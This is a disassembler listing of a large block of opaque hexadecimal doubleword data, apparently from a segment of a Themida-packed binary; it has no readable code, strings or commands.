		dd 0C42A764Bh, 0F1E38704h, 78E4C202h, 0B51994C8h, 360BCE36h
		dd 14F011B0h, 0DA0F5436h, 5DA1DBE3h, 0A0933256h, 0BC550539h
		dd 0B16D0143h, 914E0DAh, 8BD01892h, 65583256h, 21B13256h
		dd 0CB906AE5h, 410A8971h, 0A746F79Dh, 0A4946E88h, 0D4B16718h
		dd 16B13256h, 65583256h, 0B2B13256h, 0ABBC3B9Eh, 5CD6DE8h
		dd 0DF553452h, 59BB0BFCh, 0C7B16559h, 41B13256h, 120E9751h
		dd 0B7201735h, 5FB13258h, 5A74C434h, 0BEB132F9h, 0ABB1325Fh
		dd 3C6B6F1Ah, 0C66BEC10h, 7AB132A1h, 0BAB125D0h, 5DA3DB56h
		dd 0CBD83256h, 54EF08Eh, 0FF797FEEh, 5D1042F4h,	4F0DABB7h
		dd 75BCDB36h, 1EF43256h, 328DAE38h, 0E0C4CB83h,	0AB1764C1h
		dd 0A4B13237h, 0D5B133DCh, 0EAB1CE56h
dword_564300	dd 73363D36h, 0B5B13256h, 5DB132DFh, 6085456h, 574953F7h
					; DATA XREF: Themida_:004FC888o
		dd 0ABB1CB56h, 0D5B5B159h, 1FD13256h, 0F1BE53AEh, 0BAB13257h
		dd 0B4B132AFh, 0AEB1325Bh, 0CF33EA73h, 95AE6A47h, 4C1FE021h
		dd 0E5B13225h, 75B12ADAh, 0BAA2DB56h, 0C9C3256h, 2A1E8FEAh
		dd 0A9062092h, 7DA991D3h, 4A674F6h, 12B13266h, 0FABE3256h
		dd 0BAB13258h, 5D383D36h, 0A1B13256h, 57B132D4h, 0ABB15356h
		dd 3CB132AEh, 0EAB1325Eh, 0C8FA9445h, 8EBD5C42h, 0A53A5436h
		dd 0AEB4B059h, 0D6D73256h, 0CA056E95h, 3CD13256h, 0EAB1325Dh
		dd 0A2F75231h, 12E76351h, 5216B45Dh, 0AED0E1E1h, 583C3D56h
		dd 42B13256h, 0D5B1325Ch, 0E337B725h, 6650B055h, 0BAB155EAh
		dd 5DB0BA59h, 0AE443256h, 57B6DB56h, 0C4933256h, 1FACA5CDh
		dd 3B132F9h, 75B1325Eh,	0BE4BB881h, 1FCBABA1h, 0AEB135BFh
		dd 0F91BA556h, 6C26C737h, 0B5D13256h, 0EAB134BEh, 0E51D5E56h
		dd 0E59BAB11h, 0B4D0E3DCh, 0AEB1325Bh, 1B32E63Bh, 6BC51B74h
		dd 0BC09CC76h, 60D153ECh, 75B15398h, 4FB132A3h,	0DFBE3256h
		dd 0AEB13257h, 57B130AEh, 0ABB13856h, 0D5B4DB56h, 7F463256h
		dd 75E5F2FEh, 0B7333D56h, 0B4B13256h, 0AEB1325Eh, 390223A3h
		dd 0E1E04127h, 0D5B63581h, 0EAAC3256h, 75B53244h, 0B8E03253h
		dd 51595729h, 0C3B13256h, 0A941E5BFh, 93C0575Eh, 0DAA91CE6h
		dd 0EAB132D0h, 7AD06C56h, 0BAB134D8h, 3B495256h, 0AED0FDDDh
		dd 0AD3A5256h, 0F6095436h, 0D5353D44h, 8BB13256h, 7AB13237h
		dd 0BAB133DBh, 5D4DC756h, 0AEB1C756h, 0C58B236h, 0ABB153AFh
		dd 0D5B8B959h, 1FD13256h, 75B1B959h, 0BAD03256h, 5DA1DB56h
		dd 7EED3256h, 135CC3E8h, 43C087BDh, 0B8022C62h,	0EAB19ABBh
		dd 31B132AFh, 0D13254h,	57DC746Ch, 9AA08C30h, 13B13237h
		dd 0ABB13254h, 93744A8Dh, 0AE245974h, 0CFB8ED85h, 0BA1E7FFFh
		dd 9D9ACE56h, 0AEB1325Fh, 4762F05Bh, 979E3C5Fh,	49D16293h
		dd 0EAB13EBFh, 7CCE656h, 4C87295h, 97845E49h, 3871B36Dh
		dd 0BE874454h, 0ABB1325Ah, 6693DF52h, 0E5DFDB26h, 5ECB97CAh
		dd 0B158AECBh, 5AB13256h, 0D636F62h, 0A8AF6BF6h, 2AD7279Ah
		dd 3C138ABEh, 0EAB13250h, 0B8D5C5A0h, 0DB2CA1D4h, 6CBE89C0h
		dd 0AEB13EBFh, 0F5DCB656h, 45D8C265h, 2F942ED9h, 7CE968FDh
		dd 0ABA85235h, 5064BEE9h, 3CD0AF8Dh, 0F4951EDFh, 37E1530Eh
		dd 2ED088ECh, 2B0E3D01h, 0B3A4A437h, 0FEE96837h, 0BABADB56h
		dd 39463256h, 7E22B09Bh, 0AB5EFC9Fh, 8FF5BBD3h,	0B5E36252h
		dd 0EAB6DBCAh, 75323256h, 966E4C6Fh, 4540B3A3h,	47DCF791h
		dd 57B13250h, 675E500h,	852C41B4h, 0B0803D04h, 44BE530Eh
		dd 0BAB138BFh, 155A0856h, 5A7634B7h, 0DD2A04Bh,	0ABB16A0Eh
		dd 0B6232FA2h, 556F2B36h, 0AE5BE7DAh, 0BE9576DFh, 5A586006h
		dd 0FDB13256h, 0F83FBBC6h, 9ABE77EAh, 0D5B134BFh, 0BE165456h
		dd 2FF2C0ABh, 0F5D6A0Eh, 5EB891Ch, 0A4C49E0Eh, 8140AA2Dh
		dd 0C99C7601h, 7B9882A5h, 5054EE19h, 2FD0AF3Dh,	52A96A0Eh
		dd 0B3C33A73h, 0AA367446h, 574D3256h, 7A305256h, 0FE525D3Ch
		dd 8AB13237h, 0F823DDE8h, 0DB7AB96Bh, 0ECD13256h, 0AEB15362h
		dd 57BDB459h, 0A4D13256h, 0D5B132D5h, 0B4095456h, 75B153F7h
		dd 0BAA6BE59h, 4F583256h, 8FB13256h, 7FD65CA7h,	9023D1C6h
		dd 0D05FB21h, 0ADF66CCDh, 15B132F0h, 0BABDB359h, 5B593256h
		dd 70B13256h, 0DF79FE5h, 0A5586B03h, 64B13256h,	110F487Bh
		dd 4E5D1EFFh, 0B4E31F0Fh, 0D3BE5389h, 0AEB1325Eh, 57B3BC59h
		dd 0CAD13256h, 0B3D13256h, 0B711E3D7h, 1446C7D6h, 0BA493256h
		dd 5DB1CB56h, 0AEB139BFh, 0C7F19456h, 6595BC5Dh, 26FC1791h
		dd 62BE3256h, 75B13257h, 0DAB132A3h, 5DB139BFh,	0BF982B56h
		dd 84287CC9h, 0D11A9814h, 0D5B0B559h, 8B483256h, 0F3BE3256h
		dd 0BAB13257h, 0B4B132AEh, 0AEB1325Fh, 28048367h, 0CC88E388h
		dd 2CB1321Bh, 0E1583256h, 0A1B13256h, 8C05FD04h, 0BF8C19CFh
		dd 0AEB18470h, 57B1CBA3h, 0ABB13EBFh, 0D7931556h, 3EDEA76Ah
		dd 7C7563D3h, 0B5B13277h, 5DB13AD1h, 0AC3B3D56h, 37B13256h
		dd 42B13237h, 0D5B13251h, 0B7ED440Fh, 9C4F763Ch, 0BAB13247h
		dd 4AF69CAEh, 8251168Eh, 0A3024503h, 0BA0E8D7Bh, 0B5B13283h
		dd 0EAB13DBFh, 24B4D556h, 8781ED12h, 3867F5BFh,	8D933C29h
		dd 0AFB13237h, 0AC583256h, 76B13256h, 7C13B8F9h, 13D1B034h
		dd 26DD0ECh, 1A8CB588h,	0A1B13237h, 57B133DFh, 0AB4DCA56h
		dd 0DE3D3D56h, 3B13256h, 75B13250h, 9059A596h, 5DB1449Ch
		dd 0AEB0B859h, 574D3256h, 4D305256h, 0BA3A48B4h, 0EAB139BEh
		dd 0AD714E56h, 37263901h, 4A874823h, 1D61B330h,	57D06A63h
		dd 2AD75256h, 0B3350AB8h, 2452C4D7h, 8CB13237h,	35BE3256h
		dd 5DB1324Eh, 0AEB121BFh, 8EBA0356h, 923EAED9h,	4BCB3F93h
		dd 0A68DB9D9h, 741564F3h, 0BB323D36h, 0A8B13256h, 4F60B330h
		dd 57B153BAh, 0A9373D36h, 0B5B13256h, 0EAB8DA37h, 60DB3256h
		dd 8AB57FCAh, 0D7E5083Eh, 52D06DB9h, 52583256h,	55B13256h
		dd 0FC27E9BEh, 0EC583256h, 85B13256h, 0E418FFBEh, 863052D3h
		dd 8697EBA2h, 57B4B959h, 2AD73256h, 0B4EC4BB1h,	0E1583256h
		dd 0C5B13256h, 9629850Ah, 8044B57Bh, 0AEB160CCh, 57B123BFh
		dd 0D6F1DB56h, 2D4BE444h, 0F3F5996Ah, 98754799h, 3EBE82CFh
		dd 5DB13248h, 0AEA5DA36h, 0E86A3256h, 0A242C1CBh, 0DF5FBE20h
		dd 0AF1D1D3Ah, 63AF1386h, 0ECEEB4F6h, 5DB1530Fh, 5BB132A3h
		dd 58B132AFh, 0ABB128DFh, 0C13A3D56h, 3B13256h,	75B13259h
		dd 7C38030Ah, 0D85889FBh, 4546C442h, 57660A48h,	0ABB1CB56h
		dd 0D5B6DBAAh, 1CFE3256h, 0A2CEB61Eh, 43B132E0h, 5DBCB359h
		dd 47D13256h, 57B13250h, 57BCED21h, 0D5D01EF6h,	0EA4DCE56h
		dd 75B4DB56h, 32953256h, 5D07F33Ch, 0A6363D56h,	37B13256h
		dd 13D76805h, 0D5D08188h, 0EAB9DB56h, 0FC713256h, 74AB0491h
		dd 5DB1578Bh, 0AEBCB059h, 5F583256h, 79B13256h,	0FE871434h
		dd 0EA2A9B66h, 75A1DB56h, 3D23256h, 54FE4934h, 0B9A1F71Ch
		dd 0F8E0CCBDh, 0ABB1C8FEh, 0D33B3D36h, 6BB13256h, 66FA2886h
		dd 0BB313D64h, 0A4B13256h, 0A1B13237h, 57B133DDh, 0ABB1CA56h
		dd 0D5B137BFh, 0A84B56h, 75B11DA1h, 0B5B132AEh,	5DB13ADEh
		dd 0AC3D3D56h, 37B13256h, 42B13237h, 0D5B13246h, 7BE5BF32h
		dd 0A7265898h, 8CD7BFD8h, 3D1EEB3Dh, 18D13256h,	57B153EDh
		dd 0A4B132AFh, 0D5B13FD9h, 320A5256h, 0F4D3C10Eh, 8AA09BA0h
		dd 5DB1530Bh, 0AEB0B959h, 57483256h, 0ABB1CB56h, 0B343B936h
		dd 8AD0FDDDh, 75B3B459h, 9C043256h, 0A1B13237h,	0AEB8BD59h
		dd 31D13256h, 0B336C5D7h, 0D5D05336h, 0EAB6DB56h, 0B79E3256h
		dd 0B8B9E76Ah, 0B4B1324Ch, 0AEB13246h, 84352E41h, 52B7F149h
		dd 0A8753756h, 690ABD18h, 7AD13256h, 0DBEE9E1h,	5DB153AFh
		dd 0CEB132AAh, 584E8559h, 0ABB131DBh, 1E0E3D56h, 3B13237h
		dd 75B1325Fh, 0F2AE6092h, 8A00B1B1h, 52B1329Eh,	57443256h
		dd 0ABB8DB56h, 0FA213256h, 229B116h, 755E08F3h,	0BAB1CA56h
		dd 5DB126BFh, 0C46B3656h, 4267C52Dh, 0F4A59EA6h, 0EC7328A4h
		dd 0D5DAEEE4h, 8CB13289h, 3AD13256h, 3BE214BCh,	5B1D1D7h
		dd 57B15308h, 42B132AAh, 0D5B13242h, 0D403C1D0h, 6B43A97Ah
		dd 0FF5B65B7h, 5BEEFA58h, 0BB636E0Bh, 0D1BE3256h, 0ABB1325Bh
		dd 0C2F48D36h, 6FBE5591h
		dd 75B13256h, 53B13237h, 5DB1325Fh, 2912A862h, 8373E58Dh
		dd 52B13298h, 0B3D13256h, 6AD1CCDDh, 0FEBE3A94h, 0BAB13256h
		dd 5DB15337h, 0AEB0BC59h, 57493256h, 0ABB1C756h, 0D5B134BFh
		dd 6DB5B856h, 7538FB34h, 0BAA5DB56h, 0F5CE3256h, 0B26F02BCh
		dd 8F2C30CBh, 4113E45Ch, 6B60EFB4h, 0EAB191D6h,	75AAB459h
		dd 39BE3256h, 5DB13243h, 0AEB122BFh, 7619C56h, 3BBC9985h
		dd 0A9EF1C08h, 688075EEh, 72595261h, 74B13256h,	54A67CA3h
		dd 11D7D934h, 0D7EECF97h, 0ABD076A2h, 5305256h,	0B1FC6AABh
		dd 75B5B059h, 2D73256h,	5DD08EABh, 0AEBFDB56h, 5A9A3256h
		dd 82E85D46h, 66A81207h, 5C5DEB80h, 0F9BE3256h,	0BAB1324Dh
		dd 4E58CA36h, 6DB13256h, 0FA2D47C1h, 0EF004CFFh, 91ECCC69h
		dd 3AC0BF0Dh, 75D0A9EBh, 0B158CE56h, 1B13256h, 0BF9DEEDBh
		dd 9C7908F2h, 0ABB119CAh, 0D5B4DB36h, 0CC853256h, 144C04F6h
		dd 52D13256h, 5DB13247h, 0E78330E6h, 8FAC9F3Eh,	901DD7DCh
		dd 0FE2EE64Fh, 9C33889Dh, 7AEA0BF4h, 0BAD0F5E1h, 46353D56h
		dd 0A1B13256h, 57B127DDh, 0ABA1DB56h, 0CEAE3256h, 0D0C6A427h
		dd 9A924A8Fh, 0AAB51F35h, 5DB13D4Ah, 0AEA0BE59h, 0D5BE3256h
		dd 0ABB1325Dh, 0D5B134BFh, 4CED4356h, 75991958h, 0BAB1C756h
		dd 0B4B132AEh, 0AEB1325Ch, 0C40E038Ch, 6105C1E6h, 0D5B17F06h
		dd 0E5B132AEh, 75B133D1h, 0BAB1CB56h, 0B4B132AFh, 0AEB13247h
		dd 1439715Eh, 0E5EF825Eh, 0C42454BCh, 0F0882885h, 15B13291h
		dd 0DCE6F3DDh, 7BDA0E9h, 0A1B13237h, 57B133D0h,	0ABB1CA56h
		dd 29B132A3h, 2B3A5436h, 75B13CBEh, 5E2D4456h, 0C412A6A8h
		dd 8F1D3988h, 581D6134h, 0CAE9F1E1h, 0D5493256h, 0FA585256h
		dd 0F6B13256h, 476C24D3h, 4B4F6429h, 44CF1216h,	3105B560h
		dd 7794D4D7h, 2DB13237h, 64BE3256h, 75B13247h, 0BABABB59h
		dd 5B583256h, 77B13256h, 8E61DF93h, 42B13280h, 0D5B13247h
		dd 92E44D44h, 3ADFBF9h,	0AB227C6Fh, 603FF017h, 47B132F1h
		dd 57B13253h, 28F483B7h, 0C6585219h, 0B1B13256h, 805B1599h
		dd 0C940DE14h, 0D6B94687h, 0F4E954A1h, 0DABEDB61h, 0ABB13250h
		dd 0D5B1B559h, 0EAD03256h, 5F3A3D56h, 0DAB13256h, 5DB122BFh
		dd 0F765E156h, 129CB8C6h, 0CC280861h, 0C58558BBh, 0EABFDBFAh
		dd 0D6303256h, 0ED8788E2h, 485ABBFh, 2ACABE6h, 0AEB13237h
		dd 0CDD13256h, 5E3999E8h, 0EAB1538Eh, 15B132AFh, 36A58D30h
		dd 3C48B930h, 0BA583256h, 0E2B13256h, 6DDBF5ABh, 7D09359Eh
		dd 8DDA763Bh, 0DCAC76C9h, 0BAE83118h, 5DB1CB56h, 57B132AAh
		dd 57B13EBFh, 49E2CA56h, 8227A3BAh, 5388A91Fh, 8DB1323Eh
		dd 0BA493256h, 5DB6DB56h, 0E1593256h, 72EA2E4Ah, 42B132CFh
		dd 0D5B13247h, 978D980Bh, 6B36C260h, 3CEFCA2Ah,	0E7C4FF0Ah
		dd 0CEB1325Bh, 57B3B459h, 0CAD13256h, 2DB13237h, 0EA4D3256h
		dd 79353D56h, 0B5B13256h, 5DB134DCh, 0AE3C3D56h, 58B13256h
		dd 0ABB13ED6h, 54D75256h, 8CD82DB4h, 0DBC2D9D7h, 42B13237h
		dd 0D5BE3256h, 0AEB13257h, 58B132AAh, 0ABB126D7h, 0D5BEDB56h
		dd 0A3F73256h, 9F1E3172h, 0F51919Bh, 0D772310Eh, 0A1B13228h
		dd 57B12EDEh, 42495256h, 0D5B13242h, 4D698244h,	8303295Ch
		dd 68A93C3h, 17DCCC99h,	42002497h, 37B13237h, 0AE59C3DDh
		dd 9FB13256h, 0C2AB2D0h, 0B65BE4D7h, 0DBEA0D53h, 5D483256h
		dd 0AEBBDB56h, 8F9D3256h, 3FF7BD75h, 49FE5A9Dh,	0ED583256h
		dd 0CB13256h, 1CD5BC1Dh, 5DB1E6D0h, 0AEB0B359h,	57483256h
		dd 29BE5256h, 0D5B13253h, 0ED70B330h, 75B15361h, 43B132AAh
		dd 55583256h, 0B0B13256h, 1BFB94B6h, 0AB9105ADh, 0D5A1DB56h
		dd 0C2B93256h, 0B983E5DDh, 47E7FEDBh, 744DD63Ch, 0AEB16988h
		dd 81063D36h, 0ABB5B159h, 6AD73256h, 0EAD0B913h, 0F4485256h
		dd 0F111D790h, 0D9BE532Eh, 0AEB13257h, 0BEB132AFh, 0ABB13258h
		dd 102FA29Bh, 56A730BAh, 6442C9CEh, 0BAB13F77h,	3DB132A3h
		dd 0AEB138BFh, 0BFE84E56h, 0CE39373Ah, 0B3AED8A7h, 8BA100EDh
		dd 75483256h, 3BD75256h, 527E57BFh, 0AEB130D9h,	36EB6556h
		dd 0AB483256h, 0D5BCDB56h, 79533256h, 31D0FD93h, 8C0CBF39h
		dd 0A4E77866h, 474D3256h, 57B13242h, 0BF91C481h, 0A4655975h
		dd 0F87D3BAFh, 2B3B91F9h, 0B4559E76h, 3D483256h, 0AEB138BFh
		dd 34E6D256h, 5BED6943h, 3C9E221Bh, 0EAB1325Eh,	0DE84AD08h
		dd 0ABD91FE9h, 0A1B13237h, 0AD383D36h, 31B13256h, 42D1C5DDh
		dd 0D5B1325Ch, 6ACA5F3Fh, 105B4510h, 0DBD0154Dh, 4C583256h
		dd 2DB13256h, 4C17D192h, 64715B38h, 0AA9D30E4h,	0B5D9C999h
		dd 75483256h, 0B8393D56h, 3DB13256h, 0B43B3D37h, 58B13256h
		dd 0ABB126DAh, 0D5BEDB56h, 7FA63256h, 454DCF1Eh, 8365C106h
		dd 0DE975B5Ah, 47B13230h, 57B1325Ah, 6472858h, 8D485C3Dh
		dd 875A8E21h, 15D13256h, 0BAB1B659h, 0A33B3256h, 663A5437h
		dd 0BEB13237h, 0ABB13246h, 0D89FADE7h, 6093AD83h, 790CC111h
		dd 0BC2E6BFBh, 4C583256h, 87B13256h, 0DDD54098h, 45B9D39Fh
		dd 559DAFF8h, 7A1D5E97h, 0F643B236h, 0A451B330h, 5DB15311h
		dd 0AEB121BFh, 77B96156h, 0ACC94F60h, 0C331993Eh, 93E9A974h
		dd 7997AAB7h, 0ED13256h, 9F41B311h, 0CFAFA292h,	57443256h
		dd 0ABB1CA56h, 0D5B121BFh, 989ADA56h, 1F0BB209h, 0BD7E890Dh
		dd 9E8958CFh, 91E396FFh, 57A8BB59h, 0BF583256h,	0FBB13256h
		dd 0E816922Bh, 0E3108419h, 15FA5AF1h, 0E10FE7D4h, 0AE7D7736h
		dd 5D3B3D56h, 42B13256h, 0D5B13253h, 22EE9828h,	80B132A0h
		dd 0DCD13256h, 81B4E4D7h, 0AEB134BFh, 0C5317556h, 0CA013E7Ch
		dd 3CD13256h, 0EAB1325Eh, 21948E4Fh, 678DB81Fh,	5DA3B359h
		dd 0A2593256h, 4AB13256h, 7520B63Ch, 8FF79FE5h,	0B392C703h
		dd 7AB13237h, 0BAB135D4h, 5C3A3D56h, 52B13256h,	0DBBE3256h
		dd 0ABB13257h, 0B5B132AEh, 0EAB139BEh, 0BF5CF556h, 0EB1E8249h
		dd 0AF5A4918h, 0CEE95336h, 76178CA3h, 0CAD076DCh, 0D5443256h
		dd 6DBE5256h, 75B13250h, 2384E0D7h, 5B580C84h, 0CCB13256h
		dd 1F79C3E5h, 0ABB15360h, 0D5B121BFh, 0D5ABB356h, 9F83C22h
		dd 0BAAA023Bh, 0ABF76381h, 92A43897h, 52353D36h, 0CDB13256h
		dd 0A486DCD7h, 0EAB13FBFh, 14158456h, 57050E45h, 79CDB8DFh
		dd 0AED0B3C2h, 593C3D56h, 0CBB13256h, 0D5B134BEh, 0C1370556h
		dd 2CAFE836h, 0B5B13237h, 5DB138DCh, 5C3A5256h,	57B1BB59h
		dd 0ABD03256h, 0D54DCB56h, 0E43C3D56h, 9CB13256h, 0BAB1325Fh
		dd 0E0BB4BF5h, 0F48D4BCBh, 0DCD75255h, 0BB363DAEh, 3CB13256h
		dd 0EAB1325Dh, 3F5A81AAh, 6E4C0249h, 3CD35D85h,	0FED13256h
		dd 36E96804h, 0AB483256h, 0CD353D56h, 0E5B13256h, 75B120D5h
		dd 0BABCDB56h, 0F2D03256h, 840FA9AEh, 63C9C616h, 0CBF210B8h
		dd 3CADEFD6h, 0EAB13247h, 6D4A0CBh, 0B9B8B4D3h,	0E1A2D3D4h
		dd 3D3E2431h, 57B15316h, 0A4B132AFh, 0D5B12ADAh, 0EAA2DB56h
		dd 0AC0C3256h, 0BFC07AEFh, 0A58EDCADh, 0AA02B5DDh, 39795598h
		dd 42B132EEh, 0D5B13244h, 968BF258h, 52E176A2h,	2C281993h
		dd 8D8321D9h, 0AEB1B462h, 0BEB132AAh, 0ABB1325Ch, 7A5C188Bh
		dd 0BC95E4E2h, 75B1B9D3h, 0BAB122BFh, 0C17DA156h, 846DD10Ch
		dd 461F28C0h, 32B3B340h, 0B5B13249h, 0EAB3B459h, 14D13256h
		dd 0DB7AB930h, 49583256h, 2DB13256h, 62DC197Fh,	871768A7h
		dd 0EC047175h, 0ED497915h
		dd 759A48BEh, 0BAB1C756h, 5DB13BBFh, 0E8D51C56h, 0FDF9AB5h
		dd 0ABB17904h, 0D5BDDBAEh, 8CFD3256h, 76E29581h, 73DF895Ah
		dd 5DB1E93Bh, 0AEBDB259h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h
		dd 0E7583256h, 16B13256h, 3EEB2D02h, 0C0696457h, 2EA84D70h
		dd 574D3256h, 0AA383D56h, 2CB13256h, 0E0583256h, 0C3B13256h
		dd 0A53DEFC9h, 75C2554h, 47B132FCh, 57B13259h, 0E5298BDFh
		dd 0B7E049AAh, 0F486EB75h, 753B78FAh, 0BABBDB56h, 0EA263256h
		dd 1B9CC8BBh, 0C82D4DD5h, 0ABB6BA59h, 5CBE3256h, 0EAB13257h
		dd 9CB132AFh, 0BAB13258h, 0E0CE5830h, 2F1AD5F6h, 69C45B2Bh
		dd 0ABB1575Bh, 0D5B120BFh, 0AE3F5956h, 2728AD04h, 17EFF394h
		dd 0E646F455h, 0AE1780BDh, 57BCDB56h, 0A69D3256h, 1E8A24ADh
		dd 0B7894617h, 7548C938h, 3BD75256h, 3CA651BCh,	0AEA9B759h
		dd 44583256h, 62B13256h, 0F7D4E93Bh, 9079719Eh,	0D0251A5Dh
		dd 0B008C978h, 5DB104ABh, 0A458C736h, 0AAB13256h, 8AFFE551h
		dd 0E775167Ah, 0EAB1531Dh, 7AB132A3h, 0BAB12ED5h, 0DCD75256h
		dd 4705FAB4h, 57B13246h, 0E3C2209Eh, 6FF3F1ADh,	0AE131262h
		dd 0DEC9A320h, 0BAB1CB37h, 0A8B132AFh, 0BF583256h, 42B13256h
		dd 0C0D5EB08h, 9E50F811h, 107C7940h, 8A06DB5Bh,	0A9583256h
		dd 0E9B13256h, 0BB39A781h, 7CDEC064h, 3F354DEDh, 0E4920877h
		dd 0EAB1FD50h, 15B132AFh, 0DE993BEEh, 5DB15376h, 0AEB0B359h
		dd 57493256h, 29BECE56h, 0D5B13257h, 8AB132AEh,	7A5EF1D6h
		dd 0BAD0E5E1h, 4E353D56h, 47B13256h, 57B13258h,	7968B6A4h
		dd 615611A6h, 0E16CDE38h, 75B1C9F3h, 900E5436h,	5DB1539Ah
		dd 0AEA2B159h, 59583256h, 0C7B13256h, 0D583672h, 0B98646E0h
		dd 0CDCB9D05h, 9B353DF3h, 3DB13256h, 0AEB1BE59h, 44593256h
		dd 0FCB13256h, 70FA7CB7h, 79E3C26Dh, 0BDA3F563h, 0E957C005h
		dd 3CE86E06h, 0A7583256h, 0C9B13256h, 1A396317h, 222ABD78h
		dd 0FA583256h, 2FB13256h, 5338982Eh, 0D44241FDh, 11976F16h
		dd 57F7A568h, 424D5256h, 0D5B13242h, 397EF51Eh,	4FBBD6EEh
		dd 0E7A820A8h, 4E742D53h, 8516AD56h, 0AEB13237h, 2AD13256h
		dd 0FF6D4D97h, 0EAB1531Ah, 7AB132A3h, 0BAB122D6h, 5DBADB56h
		dd 7D9D3256h, 11626F51h, 0D73123C6h, 3CB1322Ch,	0EAB1325Bh
		dd 5F3D40F0h, 67D86730h, 0B507C6B0h, 47B13215h,	57B1325Ah
		dd 1B266A4Fh, 615EAC1h,	8FC2F7E9h, 0F9BE3256h, 0BAB1325Ah
		dd 5DB7B759h, 29BE3256h, 57B13256h, 0AB4D3256h,	0D5B1CB56h
		dd 2A063D36h, 1460B930h, 0DAD13256h, 0B46A8D59h, 0AEB13246h
		dd 177A9E03h, 3AC32FD9h, 0F650806Ah, 0BA312770h, 14828637h
		dd 0BAA5B659h, 52583256h, 0B2B13256h, 44C687EFh, 647E21ACh
		dd 7BA3579Dh, 0EAB1668Fh, 75BEDB36h, 0C6A43256h, 47C2166Fh
		dd 0C0679C0Fh, 0ABAF35E8h, 0CA43B97Dh, 0C4583256h, 0F7B13256h
		dd 10FB9BE7h, 17FBD3EDh, 1FF34921h, 711C50D5h, 47583256h
		dd 3DB13256h, 844D1E8Fh, 0CFD379ABh, 0C598742Ch, 0BA94FD9Fh
		dd 0DFBE5256h, 0AEB13255h, 0EEEADFD6h, 0C47E3A17h, 3CB13237h
		dd 0EAB13245h, 3A733A43h, 0F5318820h, 56FCFF12h, 0BC0CA3E3h
		dd 0BED67E40h, 0ABB13244h, 130E0C41h, 0A01FB7DDh, 9F8B6C12h
		dd 0DAD2867Ch, 5DB136F4h, 0AEBBB459h, 0E5D13256h, 0AB3B3DA1h
		dd 0B4B13256h, 52D13256h, 1EBA49EEh, 0BAB13FBFh, 54E3A56h
		dd 73805A1Bh, 2B0E46E8h, 0ABD0085Dh, 0DE595256h, 0B3B13256h
		dd 2990674h, 0DAA3DD5Ah, 3CD1072Dh, 740E5408h, 57B1539Ah
		dd 0AA3D3D36h, 20B13256h, 356B0FE8h, 7058534Bh,	0E4B13256h
		dd 70C3F3D8h, 29BE3256h, 57B1324Ah, 0A468B336h,	3CBD865Ah
		dd 0EAB13259h, 662D6184h, 6CC292DFh, 1C67B9CFh,	0CF33C90Fh
		dd 0D3BE3256h, 0ABB13251h, 0D5B0B159h, 0EA443256h, 75BDDB56h
		dd 0B113256h, 6C3538A0h, 2CED9F77h, 57B100A2h, 0ABB120BFh
		dd 0A352E656h, 62FD83A0h, 0E95AFF74h, 8D84B11Dh, 5DBBCD7Ch
		dd 7E3A5256h, 0D33E8B30h, 2AE25237h, 5349779Dh,	6D02692Ch
		dd 9CB13237h, 0BAB13258h, 0E1EA0799h, 2E196739h, 0DB5BDE3Bh
		dd 0ABB176D4h, 0D5A5DA36h, 19D63256h, 73C8950Bh, 0F5014D11h
		dd 0F5B0AC22h, 0A82D4ADAh, 4458C51Ah, 0A3B13256h, 5EEA28F3h
		dd 52C3886Eh, 3700663Bh, 7F415686h, 3CEE7A58h, 7D7A8936h
		dd 2D0F71EFh, 0CA8B54F1h, 0D5493256h, 0E4373D56h, 9CB13256h
		dd 0BAB1325Fh, 5D62C16h, 43C78A73h, 57B1CB15h, 0ABB138BFh
		dd 5303B956h, 1FDFDD6Eh, 7518E3B8h, 0B1353D56h,	0B4B13256h
		dd 0AEB13250h, 18068B28h, 0ABB15D43h, 1F71B236h, 345EB330h
		dd 75B15315h, 0BAA9B359h, 4E583256h, 39B13256h,	74871CB0h
		dd 678A231Bh, 0A2A55672h, 8ABEB68Eh, 0F5D10C08h, 31BE98BFh
		dd 5DB13254h, 0AED05336h, 0B9315256h, 2AD15323h, 3FEDDCB9h
		dd 2A063D04h, 15B13237h, 0D711F8D7h, 57582592h,	0ABB13256h
		dd 0E88682A1h, 8E526B0Fh, 0D5B15347h, 0EAA0BB59h, 0F6BE3256h
		dd 0BAB1325Dh, 5DB134BFh, 72A54956h, 57340673h,	0ABB7DB56h
		dd 8EFF3256h, 8BAE3389h, 9CB132AFh, 0BAB13245h,	0B00C2859h
		dd 71DA0E6Eh, 2D65AC07h, 0F1AD3F29h, 0D5499C35h, 0E1333D56h
		dd 15B13256h, 0B55ED2D6h, 5DB132D9h, 0AEB15356h, 57B0B159h
		dd 0AB443256h, 0D5BADB56h, 172B3256h, 11603150h, 13A834B5h
		dd 3DB13274h, 82275EEDh, 963A5403h, 0CBB13237h,	0D5A1DA36h
		dd 0F9CF3256h, 1DBDD065h, 0E32CEF20h, 377EBA39h, 0C8E88DC8h
		dd 368BC1EEh, 0ABB3BD59h, 0B4D13256h, 8AE05237h, 0FDBE6C37h
		dd 0BAB1325Bh, 5DB135BEh, 8C1B7156h, 4F70C6F1h,	0ABB15308h
		dd 0D5B13FBFh, 0D1FEEF56h, 0A6AFE644h, 0EE948E4Fh, 5DB1B81Fh
		dd 0AEB139BFh, 3146856h, 0CC61699Fh, 95A4543Ch,	61BE3256h
		dd 75B13257h, 53B132AEh, 5DB13242h, 0C88F1EE5h,	2105BDB7h
		dd 454250D7h, 0B6539A31h, 0B2524420h, 75493256h, 0B6313D56h
		dd 52B13256h, 0AEB134DCh, 573F3D56h, 0ABB13256h, 1A3A5256h
		dd 8CE35237h, 7AEEE2DDh, 0BAD0F3E1h, 5DB1C756h,	0AEB120BFh
		dd 50AC3056h, 0CC326FE1h, 0F99B8071h, 420C85B1h, 754BD1EEh
		dd 0A53B3D56h, 52B13256h, 0AEB12BDCh, 57A5DB56h, 1E1D3256h
		dd 8780C5DAh, 0A3B940BCh, 0B75663F0h, 293F7292h, 5DB15807h
		dd 0AEA6B959h, 45583256h, 92B13256h, 9159535Dh,	579789D2h
		dd 3A267F57h, 0AAC27A3h, 0B4B1324Bh, 0AEB1325Fh, 0ED6F14ECh
		dd 84634C0Eh, 0DAB13264h, 0EAB133DAh, 24D1CA56h, 0E150C2D6h
		dd 3C77B930h, 0BF583256h, 4EB13256h, 0D726F671h, 5BAD73F5h
		dd 0C3831021h, 0E08587B2h, 43B132AEh, 49583256h, 6AB13256h
		dd 0EB4948B9h, 46A1A9CCh, 69AC7Bh, 0D47673EAh, 75B1D539h
		dd 0BAB1CA56h, 5DB139BFh, 37DB0256h, 8D7A6C61h,	56E30C1h
